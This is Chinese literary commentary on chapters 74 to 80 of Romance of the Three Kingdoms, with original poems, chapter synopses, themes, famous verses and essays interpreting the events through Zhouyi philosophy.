    诸葛亮：足智多谋，善于把握局势。他劝说刘备进位汉中王，以稳定军心，增强刘备集团的凝聚力和号召力。


    关羽：英勇善战、威震天下，但性格高傲。他拒绝了东吴的结亲提议，展现出了他的忠义和对刘备的忠诚，但也为日后的危机埋下了隐患。


    曹操：作为刘备的对手，曹操在得知刘备称王的消息后大怒，欲兴兵讨伐，显示出他的霸道和对刘备势力壮大的担忧。


    司马懿：曹魏阵营的重要谋士，献出联合东吴的计策，展现出他的谋略和对局势的准确判断。


    经典诗句和典故：


    经典诗句：这一回中没有特别着名的独立诗句，但整部《三国演义》中有很多与这一回情节相关的诗句可以参考，比如“出师未捷身先死，长使英雄泪满襟”，虽然不是直接描写这一回的，但可以体现出三国时期英雄人物的壮志未酬和悲剧命运，与关羽后来的遭遇有一定的呼应。


    典故：


    五虎上将：刘备封关羽、张飞、赵云、马超、黄忠为五虎上将，成为三国时期的一个着名典故，代表着刘备集团的强大武力和核心将领阵容。


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 第74章 庞令明抬榇决死战，关云长放水淹七军

    一、七律诗《周易哲学视角下的庞令明与关云长之战》：


    （一）《庞令明与关云长之战》


    周易哲思蕴战场，庞明抬榇战威扬。


    云长妙计淹七军，勇略智谋各显彰。


    阴阳互转局势变，乾坤斡旋计深藏。


    胜负缘由皆有定，兵法易理共流光。


    千载传奇留史册，后人品鉴思悠长。


    诠释：


    诗的首联“周易哲思蕴战场，庞明抬榇战威扬”，点明了这场战役蕴含着周易哲学的思想，庞德抬着棺材出战，展现出其豪迈的战斗威势。


    颔联“云长妙计淹七军，勇略智谋各显彰”，描述了关羽运用巧妙计策水淹七军，他的勇武和智谋在战斗中充分显现。


    颈联“阴阳互转局势变，乾坤斡旋计深藏”，进一步阐述了周易哲学中阴阳相互转化的道理，局势也随之变化，其中隐藏着深奥的计谋。


    尾联“胜负缘由皆有定，兵法易理共流光”，指出胜负的原因皆有定数，兵法与易理在这场战斗中交相辉映。


    最后一联“千载传奇留史册，后人品鉴思悠长”，强调这场战斗成为了千载传奇，被载入史册，后人品鉴时会有悠长的思考。


    （二）《周易哲学视角下的庞令明与关云长之战》


    《三国演义》第 74 回“庞令明抬榇决死战，关云长放水淹七军”，描绘了一场惊心动魄的战役，其中蕴含着深刻的哲理与智慧。而从周易哲学的角度来深度解析这一情节，更能揭示出其中的玄妙之处。


    在这场战役中，庞德抬榇出战，展现出了一种决绝的勇气和坚定的信念。这种勇气并非盲目冲动，而是源于他对自身使命的清晰认知和对胜利的执着追求。在周易哲学中，这体现了“乾卦”的精神，“乾卦”代表着刚健、进取和勇往直前。庞德如同“乾卦”中的龙，升腾于天，无畏无惧，以必死之心奔赴战场，展现了一种超越生死的豪迈气概。


    而关羽放水淹七军，则是他对形势的敏锐洞察和巧妙运用。他善于把握时机，利用自然之力来改变战局。这与周易哲学中的“顺势而为”不谋而合。在“易”理中，强调要顺应天地自然的变化，因势利导，才能取得成功。关羽正是凭借着对天时地利的准确把握，才能够水淹七军，取得辉煌的胜利。


    同时，这场战役也反映了周易哲学中“阴阳相生相克”的原理。庞德的勇猛和关羽的智谋，彼此相互对抗，又相互依存。没有庞德的顽强抵抗，关羽的胜利或许不会如此辉煌；而没有关羽的智谋运用，庞德也难以展现出如此强大的战斗力。阴阳之间的相互作用，在这场战役中体现得淋漓尽致。


    进一步分析，于禁在这场战役中的表现，也体现了周易哲学中的一些教训。他的嫉妒和狭隘，导致了他在决策上的失误，最终使得曹军大败。这告诫我们，在面对复杂局面时，要保持平和的心态，避免被情绪和私欲所左右，否则就容易陷入困境。


    此外，这场战役的胜负结局也并非偶然。它是多种因素相互作用的结果，体现了周易哲学中“因果循环”的观念。庞德的决心、关羽的智慧、于禁的狭隘以及天时地利等因素，共同促成了这场战役的发展和结局。每一个行动和选择，都像是种下的因，最终结出相应的果。


    从周易哲学的角度看，庞令明抬榇决死战


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    ，关云长放水淹七军，不仅仅是一场军事上的较量，更是一场关于人性、命运和宇宙规律的深刻探讨。在这场战役中，我们看到了勇气与智谋的交锋，看到了阴阳相生相克的奇妙，也看到了因果循环的必然。


    这场战役的影响深远，它不仅展现了三国时期的风云变幻，也让我们在周易哲学的智慧中，领悟到了人生的真谛。无论是在战场上还是在生活中，我们都需要有庞德的勇气和决心，同时也要学会像关羽一样善于观察和把握时机，顺应自然规律，避免陷入于禁那样的狭隘和错误之中。只有这样，我们才能在人生的道路上走得更加稳健，实现自己的目标和理想。


    在历史的长河中，庞令明与关云长的这场战斗成为了永恒的经典。而通过周易哲学的解析，我们更能深入地理解其中的内涵和意义，从中汲取智慧和力量，为我们的人生之旅提供宝贵的启示。


    （三）《三国演义》第 74 回名为“庞令明抬榇决死战，关云长放水淹七军”。以下是其梗概、主题、情节、经典诗句及典故：


    1. 梗概：


    曹操派于禁为南征将军，庞德为先锋，统率七路大军去救援樊城的曹仁。庞德为表忠心，抬着一口棺材出战，表示若不能战胜关羽就死在战场上。关羽与庞德大战，两人实力相当，庞德用箭射中关羽左臂，关羽负伤撤退。之后于禁因嫉妒庞德，怕他抢功，便不许庞德继续追击。恰逢襄江河水大涨，关羽趁机命令士兵放水。魏军屯扎在罾口川，地势险隘，全部被洪水淹没。关羽乘船进攻，生擒了于禁，庞德则死战不降，最终被关羽所斩。


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 第75章 关云长刮骨疗毒 吕子明白衣渡江

    一、七律诗《周易哲学视角下的关云长刮骨疗毒与吕子明白衣渡江》：


    （一）《周易哲思映古今》


    周易哲思透古今，云长疗毒显丹心。


    刚强气魄驱阴翳，淡定神情镇毒侵。


    子明渡江谋计策，白衣暗渡破敌林。


    阴阳变化玄机蕴，智勇双全史册吟。


    （二）诠释：


    诗的首联“周易哲思透古今，云长疗毒显丹心”，点明了以周易哲学的视角来审视关云长刮骨疗毒和吕子明白衣渡江这两个历史事件，同时展现出关羽的赤诚之心。


    颔联“刚强气魄驱阴翳，淡定神情镇毒侵”，描述了关羽在刮骨疗毒时所展现出的刚强气魄，将阴邪之气驱散，他淡定的神情更是能抵御毒伤的侵袭。


    颈联“子明渡江谋计策，白衣暗渡破敌林”，则讲述了吕蒙白衣渡江的谋略与行动，他巧妙地运用计策，突破敌军防线。


    尾联“阴阳变化玄机蕴，智勇双全史册吟”，强调了周易哲学中阴阳变化的道理蕴含在这些事件中，同时也赞颂了关羽和吕蒙的智勇双全，他们的事迹将被永远铭刻在史册中。


    整首诗通过周易哲学的视角，深入剖析了这两个经典情节，展现了其丰富的内涵和深远的意义。


    （三）《三国演义》第 75 回名为“关云长刮骨疗毒 吕子明白衣渡江”。以下是其梗概、主题、情节、经典诗句及典故：


    1. 梗概：


    关羽水淹七军后剑指樊城，曹仁在满宠的劝谏下登城坚守。关羽在城下骂战时，被曹仁用毒箭射中左臂。回营后，因箭头有毒，关羽的手臂浮肿无力，颜色黑紫。众人劝其回荆州修养，但关羽厉声喝退。


    恰在此时，沛国谯郡人华佗前来，他提出需用尖刀割开皮肉，刮去骨上箭毒，再用药敷之、用线缝合伤口。关羽便伸出胳膊让华佗治疗，在治疗过程中，他饮酒吃肉，谈笑弈棋，神态自若。刮骨疗毒完毕，伤口缝合，关羽抽手举刀，胜似从前。


    东吴方面，吕蒙一直想夺回被刘备借占的荆州。他与陆逊经过周密安排，派士兵伪装成客商，骗过关羽守军。他们将烽火台的守军全部缚住，然后长驱直入，兵不血刃地袭取了荆州。


    2. 主题：


    英勇无畏与超凡意志：通过关羽刮骨疗毒这一情节，展现了关羽的英勇无畏和超凡的忍耐力与意志力，突出了他的英雄气概，使关羽的形象更加高大。


    智谋与策略：吕蒙白衣渡江则体现了东吴方面的智谋和策略。在关羽威震华夏、蜀汉势力如日中天之时，东吴能够抓住时机，巧妙地运用计谋，成功夺回荆州，展示了战争中谋略的重要性。


    局势的变化与转折：此回情节标志着三国局势的一个重要转折。此前蜀汉势力不断扩张，关羽水淹七军更是威震华夏，但荆州的失守使蜀汉失去了重要的战略要地，局势开始对蜀汉不利，也为后续三国之间的斗争形势变化埋下了伏笔。


    3. 情节：


    刮骨疗毒：关羽中了毒箭后，华佗为其刮骨疗毒。手术过程中，关羽神态自若地与马良下棋，仿佛没有疼痛之感，这种超凡的忍耐力和英雄气概让众人惊叹不已。


    曹操的反应：曹操身在许都，得知关羽水淹七军、威震华夏后，心中恐惧，甚至有意迁都以避其锋芒。这一情节从侧面衬托出关羽的强大武力和影响力


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    。


    吕蒙的谋划：吕蒙先是用计麻痹关羽，让关羽对东吴放松警惕。然后暗中安排士兵伪装成客商，偷渡长江，成功袭取荆州。这一系列的谋划和行动展示了吕蒙的智谋和军事才能。


    4. 经典诗句：此回中可能没有特别着名的诗句，但《三国演义》中有一些描述关羽的诗句可以作为延伸，比如“藐视吴臣若小儿，单刀赴会敢平欺。当年一段英雄气，尤胜相如在渑池”，体现了关羽的英勇和豪迈之气。


    5. 典故：


    刮骨疗毒：这是此回的核心典故，成为了后世传颂关羽英雄气概的经典故事。它不仅展现了关羽的勇敢和坚韧，也反映了古代医学的一些治疗方法和理念。


    白衣渡江：吕蒙的白衣渡江之计，成为了军事史上以奇谋取胜的经典案例，被后人所铭记和借鉴。此计的成功，不仅让东吴夺回了荆州，也改变了三国的局势。


    二、《周易哲学视角下的关云长刮骨疗毒与吕子明白衣渡江》


    《三国演义》中，关云长刮骨疗毒与吕子明白衣渡江的情节，不仅展现了惊心动魄的英雄壮举，更蕴含着深刻的哲理与智慧。从周易哲学的角度来深入剖析这两个经典场景，可以揭示出其中更丰富的内涵和深远的意义。


    在周易哲学中，阴阳是最基本的概念。关羽刮骨疗毒所展现的，正是一种阳刚至极的精神力量。毒箭之伤，乃阴邪之物，而关羽以其坚定的意志和无畏的勇气，直面这股阴邪，体现了阳对阴的抗争与克服。这种阳刚之气，并非单纯的武力之勇，更是一种内在的精神力量，是关羽对自身信念的坚守，对道义的执着。


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 第76章 徐公明大战沔水 关云长败走麦城

    一、七律诗《周易哲学视角下的“徐公明大战沔水，关云长败走麦城”》：


    （一）《关圣败走麦城叹》


    沔水激战势未休，公明关羽决恩仇。


    阴阳变幻局中演，命运沉浮眼底收。


    刚柔相济谋韬略，时位无常叹败忧。


    周易哲思透今古，英雄末路恨难留。


    （二）诠释：


    诗的首联“沔水激战势未休，公明关羽决恩仇”，描绘了徐晃与关羽在沔水的激烈战斗，他们之间有着深厚的恩怨情仇。


    颔联“阴阳变幻局中演，命运沉浮眼底收”，体现了周易哲学中阴阳变幻的观念，暗示着战争局势的变化以及人物命运的起伏。


    颈联“刚柔相济谋韬略，时位无常叹败忧”，表达了在这场战斗中，刚柔相济的谋略运用以及时位无常带来的失败和忧虑。


    尾联“周易哲思透今古，英雄末路恨难留”，指出周易哲学的思想贯穿古今，而关羽这位英雄在末路时的遗憾和愤恨也令人难以释怀。


    整首诗以周易哲学为视角，深入剖析了“徐公明大战沔水，关云长败走麦城”这一历史事件，展现了其中蕴含的深刻哲理和悲剧色彩。


    （三）《三国演义》第 76 回名为“徐公明大战沔水，关云长败走麦城”。以下是其梗概、主题、情节、经典诗句及相关典故：


    1. 梗概：


    曹操派徐晃去战关羽，徐晃在沔水与关平交战，用计使关平大败。关羽亲自出战徐晃，因手臂受伤未愈且年事已高，最终不敌徐晃败下阵来。此时，东吴吕蒙白衣渡江，奇袭荆州成功，关羽后方失守。荆州兵大乱，关羽腹背受敌，无奈之下只得率领残部退往麦城。


    在麦城，关羽盼望着救兵，但刘封、孟达因对关羽平日的骄纵不满，拒绝出兵救援。诸葛瑾前来劝降关羽，被关羽严词拒绝。孙权请吕范占卜关羽的命运，吕范卜得卦象显示关羽必败。


    2. 主题：


    这一回主要体现了战争的残酷与局势的瞬息万变。关羽作为威震华夏的名将，因一时的疏忽和东吴的背盟，陷入绝境，展现了命运的无常。同时，也反映出在乱世之中，各方势力为了争夺利益不择手段，以及忠诚、义气、背叛等多种人性的交织。


    3. 情节：


    徐晃战关平：徐晃受曹操之命与关平交战，利用计谋让关平以为城中起火，在其慌乱回救时趁机进攻，关平战败。


    关羽战徐晃：关羽对徐晃前来挑战感到愤怒，认为徐晃不念旧情。徐晃则表示各为其主，二人交战，关羽因伤势未愈难以抵挡徐晃的攻势。


    荆州失守：吕蒙采用白衣渡江之计，神不知鬼不觉地夺取了荆州。关羽得知荆州失陷后，又气又急，疮口迸裂。


    麦城被困：关羽退至麦城，孤立无援，盼不到救兵。诸葛瑾劝降，关羽宁死不降。


    吕范占卜：孙权让吕范占卜关羽的命运，吕范卜得《地水师卦》，卦象显示敌人远奔，但玄武临应，主暗昧不明，且此卦为归魂卦，预示关羽难以逃脱。


    4. 经典诗句：关羽在面对诸葛瑾的劝降时说：“玉可碎而不可改其白，竹可焚而不可毁其节，身虽殒，名可垂于竹帛也。”这句话体现了关羽的忠义和气节，即使面临生死绝境，也绝不背叛刘备，坚守自己的道德准则。


    5. 典故：


    白衣渡江：这是吕蒙策划的奇袭荆州的计


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    策。吕蒙让士兵扮作商人，穿着白衣渡江，骗过了荆州的守军，从而顺利夺取荆州。此典故成为了军事史上奇袭战的经典案例，也体现了吕蒙的智谋和果断。


    吕范占卜：吕范作为东吴的重臣和易学家，为孙权占卜关羽的命运，这一情节反映了当时人们对占卜的迷信和重视。在《三国演义》中，占卜等神秘元素经常被用来预示人物的命运和战争的胜负。


    二、《周易哲学视角下的“徐公明大战沔水，关云长败走麦城”》


    《三国演义》第 76 回“徐公明大战沔水，关云长败走麦城”，是一段充满悲剧色彩且极具震撼力的情节。在这段故事中，关羽这位英雄豪杰的命运发生了重大转折，而深入挖掘其中的周易哲学元素，能让我们更深刻地理解这一历史事件的内涵与意义。


    在周易哲学中，阴阳是最基本的概念之一。阴阳相互依存、相互转化，共同构成了宇宙万物的运行规律。在徐公明大战沔水这一情节中，我们可以看到阴阳的对立与平衡。


    徐晃与关羽的对战，便是阴阳力量的直接碰撞。徐晃代表着阳刚之力，他的勇猛和果断在战场上展现得淋漓尽致；而关羽，尽管身受重伤，但他所体现出的坚韧与不屈，也是一种阳刚之气的体现。然而，关羽的伤势未愈，这又体现了阴的一面。这种阴阳的交织与对抗，使得战斗更加激烈和复杂。


    同时，关羽的败走麦城，也可以看作是阴阳失衡的结果。他在荆州的势力过于强大，引起了东吴的忌惮，这是阳盛的表现。而东吴的背盟和吕蒙的奇袭，则是阴的力量在暗中涌动。当阴阳失衡达到一定程度时，必然会引发局势的剧变。


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 第77章 玉泉山关公显圣 洛阳城曹操感神

    一、七律诗赞《忠义之灵与命运之悟：从＜玉泉山关公显圣 洛阳城曹操感神＞看＜三国演义＞中的周易哲学》


    （一）《忠义命运悟三国》


    玉泉显圣义魂昭，曹魏感神思若潮。


    周易哲思融史话，英雄气概贯云霄。


    兴衰荣辱皆成幻，因果循环岂遁逃。


    忠义长存命运悟，千秋传颂墨香飘。


    （二）诠释：


    “玉泉显圣义魂昭”：描述了玉泉山关公显圣这一情节，彰显了关羽忠义之魂的昭然若揭。


    “曹魏感神思若潮”：曹操在洛阳城对关羽的感神之举，引发了他内心如潮水般的思绪。


    “周易哲思融史话”：强调了《三国演义》中周易哲学的融入，使历史故事更具深度。


    “英雄气概贯云霄”：表达了关羽等英雄人物的豪迈气概直冲云霄。


    “兴衰荣辱皆成幻”：指出世间的兴衰荣辱都如同虚幻。


    “因果循环岂遁逃”：说明因果报应的循环是无法逃避的。


    “忠义长存命运悟”：突出了忠义精神的长久存在以及对命运的感悟。


    “千秋传颂墨香飘”：表示这个故事将千秋万代传颂，墨香四溢。


    （三）《三国演义》第 77 回名为“玉泉山关公显圣 洛阳城曹操感神”，以下是其详细内容：


    梗概：


    关羽被困麦城，兵尽粮绝，他本想往西川求助，但因久盼援兵不至，决定出城抄小路突围。王甫曾劝谏关羽不要走小路，但关羽没有听从。东吴的吕蒙料得先机，在麦城小路设下两道伏兵。关羽行至山谷时，伏兵杀出，只追击不硬战，关羽纵然有万夫不当之勇，也无处施展，最终连同关平被敌俘获。


    二人被解至吴营，孙权试图劝降关羽，关羽破口大骂，宁死不屈。孙权左右皆认为不能留关羽，孙权遂下令将关羽父子斩首。


    关羽死后，阴魂不散。在玉泉山，关羽的魂魄被老僧普净点化，自此常在玉泉显灵护民。东吴方面，吕蒙想用计将关羽的首级送给曹操，让刘备和曹操相争。曹操阵营的司马懿识破此计，曹操便令人将关羽的首级接在木雕真身上，以王侯之礼厚葬。而在成都的刘备，先前频收关羽的捷报，此时忽传关羽已死，刘备昏厥于地。


    主题：


    忠义精神的彰显：关羽宁死不降东吴，展现出了对刘备的忠诚和坚定的义气，这种忠义精神是《三国演义》所高度赞扬的。即使面对生死抉择，关羽也绝不背叛自己的兄弟和主公，成为了忠义的典范。


    因果报应的暗示：普净点化关羽时提到，关羽向人索命，然而他自己也曾斩杀颜良、文丑等将领，这暗示了一种因果循环的观念。关羽一生杀敌无数，最终自己也落得被斩首的下场，引发人们对于战争和杀戮的反思。


    英雄末路的悲壮：关羽曾威震华夏，但最终却败走麦城，英雄末路，令人惋惜和感慨。这一回的情节营造出了一种悲壮的氛围，突出了战争的残酷和命运的无常。


    情节：


    关羽被擒杀：关羽在麦城被东吴的伏兵所擒，尽管他英勇无比，但寡不敌众，最终和关平一起被孙权处斩。这一情节展现了关羽的困境和他的不屈精神。


    玉泉山显圣：关羽死后，魂魄在玉泉山显灵，骑赤兔马，提青龙刀。普净认出是关羽后，以言语点化他，关羽恍然大悟，稽首皈依而去。此后，关羽常常在玉泉山显圣护民，百姓感


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    其德，便在山顶上建庙祭祀。


    曹操厚葬关羽：东吴将关羽的首级送给曹操，曹操识破东吴的计谋后，以王侯之礼厚葬关羽。这一情节既表现了曹操对关羽的敬重，也...


    二、《忠义之灵与命运之悟：从＜玉泉山关公显圣 洛阳城曹操感神＞看＜三国演义＞中的周易哲学》


    《三国演义》第 77 回“玉泉山关公显圣 洛阳城曹操感神”，是一段充满神秘色彩与深刻寓意的情节。在这一回中，关羽的英勇与悲壮、曹操的权谋与敬畏，以及整个故事所蕴含的命运无常之感，都与周易哲学中的诸多理念相互呼应。通过深入剖析这一情节，我们可以更深刻地理解《三国演义》所传达的思想内涵，以及周易哲学在其中的微妙体现。


    关羽，这位被誉为“武圣”的英雄，在这一回中经历了人生的巅峰与低谷。他被困麦城，虽奋力抵抗，但最终难逃兵败被擒的命运。这一情节展现了周易哲学中“盛极而衰”的观念。在关羽威震华夏的辉煌时刻，他或许未曾料到自己会遭遇如此惨败。然而，命运的转折往往在不经意间降临，正如周易中所说的“阴阳互化”，盛与衰、兴与亡，总是在不断交替变化。


    关羽的忠义精神在这一回中得到了淋漓尽致的体现。他宁死不屈，拒绝向东吴投降，展现了对刘备的忠诚和坚定的信念。这种忠义，是关羽的核心品质，也是他在人们心中树立起崇高形象的关键所在。在周易哲学中，“忠义”可以被视为一种道德准则，是人们在面对困境与抉择时应坚守的原则。关羽的忠义之举，不仅体现了他个人的高尚品质，也反映了周易哲学中对于道德价值的重视。


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 第78章 治风疾神医身死，传遗命奸雄数终

    一、七律诗赞《周易哲学视角下的〈三国演义〉第七十八回解析：风云变幻与命运无常》


    （一）《〈三国演义〉第七十八回解析》


    风云变幻数曹瞒，命运无常起祸端。


    周易哲思参世事，奸雄遗命叹悲欢。


    神医枉死医风疾，霸业终消化梦残。


    历史长河书壮烈，回观此卷意漫漫。


    （二）以下是对这首七律诗的诠释：


    诗的首联“风云变幻数曹瞒，命运无常起祸端”，描绘了曹操所处的动荡局势以及命运的难以捉摸，体现了第七十八回中曹操面临的困境和变故。


    颔联“周易哲思参世事，奸雄遗命叹悲欢”，指出用周易哲学来思考和解读世间之事，同时表达了对曹操遗命所带来的悲欢感慨。


    颈联“神医枉死医风疾，霸业终消化梦残”，描述了华佗之死的遗憾以及曹操霸业的终结，就如同一场破碎的梦。


    尾联“历史长河书壮烈，回观此卷意漫漫”，强调了这一回在历史长河中的壮烈篇章，当我们回顾这一卷时，感慨之情油然而生。


    整首诗通过对《三国演义》第七十八回的解析，展现了其中蕴含的风云变幻、命运无常等主题，以及对历史的深沉思考。


    （三）《三国演义》第七十八回名为“治风疾神医身死，传遗命奸雄数终”。以下是其梗概、主题及经典诗句：


    1. 梗概：


    曹操病情与华佗之死：曹操一直被头风病困扰，发作时头痛欲裂。听闻跃龙祠旁有一株大梨树可做建始殿之梁，曹操欲砍之，众人阻拦称此树斧锯不入，但曹操不听，执意砍树。砍树后曹操梦中被梨树神用剑刺杀，醒后头脑疼痛更甚。于是请华佗前来医治，华佗说需喝下麻沸汤，用刀斧劈开头颅疗治方可痊愈。曹操生性多疑，怀疑华佗是为关羽报仇，将其打入大牢，华佗最终死于狱中。


    孙权劝进与曹操回应：孙权为了自身利益写信给曹操，假意劝他称帝。曹操何等精明，深知孙权的用心，没有上当，还封孙权宫爵，令其拒刘备。


    曹操托孤去世：曹操杀了华佗之后，病越来越重，时常梦到他曾经杀过的伏皇后、董贵人、二皇子、伏完、董承等二十余人浑身血污向他索命。曹操自知命不久矣，立下遗嘱，立曹丕为继承人并交代后事，而后长叹一声，泪如雨下，气绝而死，享年六十六岁。世子曹丕立即听从司马孚的话，继为魏王、丞相、冀州牧。


    2. 主题：


    多疑误事：曹操的多疑性格贯穿始终，这一回中他因多疑害死了神医华佗，导致自己的病无人能医，最终病亡。这凸显了多疑的性格缺陷可能带来的严重后果。


    权力纷争：孙权劝曹操称帝，实则是想挑起曹魏内部的政治纷争以及曹操与其他势力的矛盾，以此为自己谋取利益，反映了三国时期各方势力之间复杂的权力斗争和政治谋略。


    历史的必然与无奈：曹操作为一代奸雄，在历史的洪流中有着重要的地位和影响力，但最终也无法逃脱死亡的命运，体现了历史的必然性和人物在历史面前的无奈。


    3. 经典诗句：这一回故事结束后，罗贯中曾引用晚明诗人钟惺的《邺中歌》作为对曹操的评价:


    邺则邺城水漳水，定有异人从此起。


    雄谋韵事与文心，君臣兄弟而父子。


    英雄未有俗胸中，出没岂随人眼底？


    功首罪魁非两人，遗臭流芳本


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    一身。


    文章有神霸有气，岂能苟尔化为群？


    横流筑台距太行，气与理势相低昂。


    安有斯人不作逆，小不为霸大不王？


    霸王降作儿女鸣，无可奈何中不平。


    向帐明知非有益，分香未可谓无情。


    古人作事无巨细，寂寞豪华皆有意。


    书生轻议冢中人，冢中笑尔书生气！


    诗中“功首罪魁非两人，遗臭流芳本一身”最为着名，既肯定了曹操的功绩，又指出了他被人诟病的地方，生动地概括了曹操复杂的人物形象。


    二、《周易哲学视角下的〈三国演义〉第七十八回解析：风云变幻与命运无常》


    《三国演义》第七十八回“治风疾神医身死，传遗命奸雄数终”，是整个故事中极具转折性和深意的一章。在这一回中，我们不仅看到了历史的波澜壮阔，更能从周易哲学的角度去深入探究其中所蕴含的深刻哲理与命运的无常。


    本回开篇，曹操一直被头风病所困扰，这头风病仿佛是他命运中的一个隐喻。头风病反复发作，如同命运的无常捉弄，让曹操在痛苦中挣扎。而华佗的出现，原本是一线希望，但曹操的多疑却导致了华佗的身死，这也象征着命运的转折与悲剧的降临。


    在周易哲学中，阴阳相互转化是一个重要的概念。曹操的头风病可以看作是阴阳失衡的体现，而华佗的医治则代表着试图恢复阴阳的平衡。然而，曹操的多疑打破了这种平衡，使局面陷入了更加混乱的状态。这也提醒我们，在面对事物时，要保持理性和客观的态度，不要被情绪和偏见所左右，否则可能会导致意想不到的后果。


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 第79章 兄逼弟曹植赋诗 侄陷叔刘封伏法

    一、七律诗赞《从〈三国演义〉第 79 回看〈周易〉哲学的映射》：


    （一）《赞〈周易〉哲学映射〈三国〉》


    三国风云蕴哲思，周易妙理此间知。


    权谋变幻阴阳转，命运沉浮善恶随。


    兄弟阋墙情亦迫，英雄落难志难移。


    篇章细品玄机悟，墨笔长书赞誉诗。


    （二）诠释：


    诗的首联“三国风云蕴哲思，周易妙理此间知”，指出《三国演义》第 79 回中蕴含着深刻的哲理，而这些哲理与《周易》的思想相呼应。


    颔联“权谋变幻阴阳转，命运沉浮善恶随”，描述了在这一回中，权谋的变化就像阴阳的转换，人物的命运沉浮也伴随着善恶的抉择。


    颈联“兄弟阋墙情亦迫，英雄落难志难移”，体现了曹丕与曹植兄弟之间的矛盾与冲突，以及英雄们即使遭遇困境，志向也坚定不移。


    尾联“篇章细品玄机悟，墨笔长书赞誉诗”，强调了通过仔细品味这一章节，能够领悟其中的玄妙之处，因此用笔墨写下赞美之诗。


    （三）《三国演义》第79回名为“兄逼弟曹植赋诗 侄陷叔刘封伏法”。以下是其梗概、主题、情节及经典诗句：


    1. 梗概：


    曹操死后，曹丕继承王位。曹彰提兵而来，被谏议大夫贾逵说服，交出军马后回鄢陵自守。


    曹丕改建安二十五年为延康元年，封贾诩为太尉，华歆为相国等，大小官僚尽皆升赏。他令于禁董治曹操陵事，于禁见陵屋粉壁上有关云长水淹七军擒获自己的画像，又羞又恼，气愤成病，不久而死。


    华歆奏曹丕，称曹植、曹熊不来奔丧，应问罪。使者回报曹熊惧罪自缢，曹丕厚葬并追赠其为萧怀王。而临淄使者称曹植与丁仪、丁廙兄弟二人酣饮，悖慢无礼，还叱骂使者。曹丕大怒，令许褚领虎卫军三千去临淄擒曹植等人。许褚将曹植、丁仪、丁廙等缚至邺郡，曹丕先将丁仪、丁廙等尽行诛杀。


    卞氏为曹植求情，曹丕表示深爱其才，不会害他，只是想戒其性。于是曹丕以才试曹植，限其七步吟诗一首。曹植行七步成诗，曹丕又让其应声以“兄弟”为题作诗一首，曹植略加思索便口占出“煮豆燃豆萁，豆在釜中泣。本是同根生，相煎何太急！”曹丕听后潸然泪下，贬曹植为安乡侯。


    另一边，廖化劝刘备处斩刘封、孟达，因他们不救关羽。消息走漏，孟达降魏，刘封率部与战不利，逃回成都，被刘备拿下问斩。


    2. 主题：


    权力斗争的残酷：本回集中体现了曹丕继位后，为巩固自己的权力，对兄弟曹植进行残酷打压，反映了封建统治集团内部权力争夺的激烈和无情，连亲兄弟之间都毫无情义可言。


    人才的命运：曹植才华横溢，却因兄长的猜忌而陷入困境，展现了在权力斗争的背景下，人才的命运往往受到政治因素的左右，即使是有才能之人也难以逃脱权力的倾轧。


    忠义的考量：刘封因未救关羽，被廖化指责，后又因孟达降魏而陷入困境，最终被刘备问斩，体现了在三国乱世中，忠义的标准和价值在人们心中的重要地位，以及违背忠义之人的下场。


    3. 情节：


    七步成诗：这是本回最经典的情节，曹丕以作诗来为难曹植，欲加罪于他。曹植在七步之内作出了“煮豆燃豆萁，豆在釜中泣。本是同根生，相煎何太急！”的千古名诗


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    ，不仅展现了他的才华，也让曹丕在众人面前有所触动，暂时放过了他。


    于禁之死：曹丕因于禁兵败被擒后投降关羽，又复归曹魏，心鄙其为人，故意让人在曹操陵屋粉壁上画关于禁投降的画像，使于禁羞愧而死，这一情节体现了曹丕的狭隘和对不忠之人的唾弃。


    刘封伏法：刘封作为刘备的养子，在关羽被困麦城时未出兵相救，后又因孟达降魏，自己作战失利逃回成都，被刘备问斩。这一情节反映了刘备对关羽的深厚情谊以及对忠义的重视。


    4. 经典诗句：


    曹植七步诗之一：“两肉齐道行，头上带凹骨。相遇块山下，郯起相搪突。二敌不俱刚，一肉卧土窟。非是力不如，盛气不泄毕。”


    曹植七步诗之二（即流传最广的七步诗）：“煮豆燃豆萁，豆在釜中泣。本是同根生，相煎何太急！”


    后人叹于禁诗：“三十年来说旧交，可怜临难不忠曹。知人未向心中识，画虎今从骨里描。”这首诗是后人对于禁的评价，感慨他与曹操三十年的旧交，却在临难时未能坚守忠义。


    二、《从〈三国演义〉第 79 回看〈周易〉哲学的映射》


    《三国演义》第 79 回“兄逼弟曹植赋诗 侄陷叔刘封伏法”，这一章节充满了戏剧性与冲突，其背后蕴含着深刻的哲理，与《周易》哲学有着千丝万缕的联系。


    《周易》是一部古老而深邃的哲学经典，它探讨了宇宙万物的变化规律和人类行为的准则。在这一回中，我们可以看到《周易》中“变易”“不易”“简易”的思想在人物命运和情节发展中的体现。


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 第80章 曹丕废帝篡炎刘，汉王正位续大统

    一、七律诗来解析《周易哲学视角下〈三国演义〉第 80 回的权谋与命运》：


    （一）《权谋命运三国观》


    《周易》哲思透纸笺，


    三国回目八十篇。


    权谋交织乾坤变，


    命运沉浮世事牵。


    乾道刚健争权势，


    坤德柔顺忍变迁。


    巽风推助兴亡势，


    历史长河永向前。


    （二）诠释:


    这首诗以七律的形式，围绕《周易哲学视角下〈三国演义〉第 80 回的权谋与命运》这一主题，表达了对其中权谋与命运的感悟，同时体现了周易哲学的影响。


    诗的首联“《周易》哲思透纸笺，三国回目八十篇”，点明了以《周易》哲学来解读《三国演义》第 80 回的主题。


    颔联“权谋交织乾坤变，命运沉浮世事牵”，描述了这一回中权谋的相互争斗以及命运的起起落落，与乾坤的变化和世事的牵连紧密相关。


    颈联“乾道刚健争权势，坤德柔顺忍变迁”，进一步阐述了乾卦所代表的刚健进取与权谋争夺，以及坤卦所体现的柔顺与对变迁的忍耐。


    尾联“巽风推助兴亡势，历史长河永向前”，则强调了巽卦所象征的风对兴亡之势的推动作用，同时也表达了历史不断向前发展的必然趋势。


    整首诗通过七律的形式，深入剖析了《三国演义》第 80 回中的权谋与命运，展现了周易哲学在其中的深刻影响。


    （三）《三国演义》第 80 回名为“曹丕废帝篡炎刘，汉王正位续大统”。以下是其梗概、主题、情节及经典诗句：


    1. 梗概：


    曹丕继承魏王之位后，为巩固自己的地位，收缴了曹彰的兵马，令其回鄢陵自守。对于未来奔丧的曹植、曹熊，曹丕大怒并遣使问罪。曹植醉卧，对魏王使臣不屑一顾，命人乱棍打出。曹丕派许褚捉拿曹植、丁仪等人，将丁仪斩首，欲对曹植动刑。此时传来曹熊自缢身亡的消息。


